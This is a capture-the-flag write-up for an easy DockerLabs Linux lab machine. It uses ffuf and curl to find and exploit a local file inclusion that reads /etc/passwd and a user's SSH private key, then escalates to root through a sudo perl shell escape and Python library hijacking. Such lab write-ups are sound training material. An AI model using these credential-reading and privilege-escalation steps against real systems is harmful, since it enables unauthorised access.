DockerLabs — https://dockerlabs.es/
- Platform: DockerLabs
- OS: Linux
- Difficulty: Easy
Enumeration
Scan
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 38:bb:36:a4:18:60:ee:a8:d1:0a:61:97:6c:83:06:05 (ECDSA)
|_ 256 a3:4e:4f:6f:76:f2:ba:50:c6:1a:54:40:95:9c:20:41 (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-title: 4You
|_http-server-header: Apache/2.4.58 (Ubuntu)
SSH (22)
Passwordbased authentication
❯ ssh root@172.17.0.2
The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established.
ED25519 key fingerprint is: SHA256:KZdmmK93JpQdEgEdRl0JYVD4l+Gdfix6KM9aUmZc1lA
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.
root@172.17.0.2's password:
HTTP (80)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-title: 4You
|_http-server-header: Apache/2.4.58 (Ubuntu)
Index
- Plane site with no links
Just to keep in mind
There is a message which says
[!] ERROR [!]It’s a the very end and it’s out the
</html>tag[...] <script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.11.6/dist/umd/popper.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.min.js"></script> </body> </html> [!] ERROR [!]
Initial enumeration
assets (Status: 301) [Size: 309] [--> http://172.17.0.2/assets/]
index.php (Status: 200) [Size: 2596]
server-status (Status: 403) [Size: 275]
/assets

Directory listingenablebackground.jpgis the index background
index.php accepts parameters?
We can start by using a file path as the value for the fuzzed parameter.
- Command
ffuf -u 'http://172.17.0.2/index.php?FUZZ=/etc/passwd' \
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-t 125 -o fuzzParameters -fs 2596
- Output
:: Method : GET
:: URL : http://172.17.0.2/index.php?FUZZ=/etc/passwd
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
:: Output file : fuzzParameters
:: File format : json
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 125
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 2596
________________________________________________
secret [Status: 200, Size: 3870, Words: 678, Lines: 89, Duration: 14ms]
secret parameter allows LFI
- Command
curl 'http://172.17.0.2/index.php?secret=/etc/passwd'
- Output
[...]
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:996:996:systemd Resolver:/:/usr/sbin/nologin
vaxei:x:1001:1001:,,,:/home/vaxei:/bin/bash
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
luisillo:x:1002:1002::/home/luisillo:/bin/sh
Users with a shell
- vaxei
- luisillo
Exploitation
Looking for a SSH Key
- Using the LFI vulnerability to get a SSH private key
- Command
curl 'http://172.17.0.2/index.php?secret=/home/vaxei/.ssh/id_rsa'
- Output
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAvbN4ZOaACG0wA5LY+2RlPpTmBl0vBVufshHnzIzQIiBSgZUED5Dk
[...]
bJltoqUjEYwe9KOf07G15W2nwbE/9WeaI1DcSDpZbuOwFBBYlmijeHVAQtJWJgZcpsOyy2
1+JS40QbCBg+3ZcD5NX75S43WvnF+t2tN0S6aWCEqCUPyb4SSQXKi4QBKOMN8eC5XWf/aQ
aNrKPo4BygXUcJCAHRZ77etVNQY9VqdwvI5s0nrTexbHM9Rz6O8T+7qWgsg2DEcTv+dBUo
1w8tlJUw1y+rXTAAAAEnZheGVpQDIzMWRlMDI2NmZmZA==
-----END OPENSSH PRIVATE KEY-----
SSH Access (as vaxei)
- Using the
id_rsawe got
❯ ssh -i id_rsa vaxei@172.17.0.2
Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.18.9+kali-amd64 x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Sat Aug 10 02:25:09 2024 from 172.17.0.1
vaxei@12384cbf44d1:~$ id
uid=1001(vaxei) gid=1001(vaxei) groups=1001(vaxei),100(users)
Post-Exploitation
SUDO Permissions (for vaxei)
- We can run
perlasluisillowith no password
vaxei@12384cbf44d1:~$ sudo -l
Matching Defaults entries for vaxei on 12384cbf44d1:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User vaxei may run the following commands on 12384cbf44d1:
(luisillo) NOPASSWD: /usr/bin/perl
Perl allows privesc

Privesc to luisillo
- Command
vaxei@12384cbf44d1:~$ sudo -u luisillo perl -e 'exec "/bin/bash"'
- Output
luisillo@12384cbf44d1:/home/vaxei$ id
uid=1002(luisillo) gid=1002(luisillo) groups=1002(luisillo)
Privesc to root
SUDO Permissions (for luisillo)
- It’s posible to run
/usr/bin/python3 /opt/paw.pyasrootwith no password
luisillo@12384cbf44d1:~$ sudo -l
Matching Defaults entries for luisillo on 12384cbf44d1:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User luisillo may run the following commands on 12384cbf44d1:
(ALL) NOPASSWD: /usr/bin/python3 /opt/paw.py
/opt/paw.py
- We can only read
luisillo@12384cbf44d1:~$ ls -l /opt/paw.py
-rw-r--r-- 1 root root 967 Aug 10 2024 /opt/paw.py
- We can try a
library hijacking
$ cat /opt/paw.py
import subprocess
import os
import sys
[...]
Library hijacking
- We can create our own time.py inside
/opt
luisillo@12384cbf44d1:/opt$ touch subprocess.py
luisillo@12384cbf44d1:/opt$ nano subprocess.py
# subprocess.py content
import os
os.system("/bin/bash")
- Root access
luisillo@12384cbf44d1:/opt$ sudo /usr/bin/python3 /opt/paw.py
root@12384cbf44d1:/opt# id
uid=0(root) gid=0(root) groups=0(root)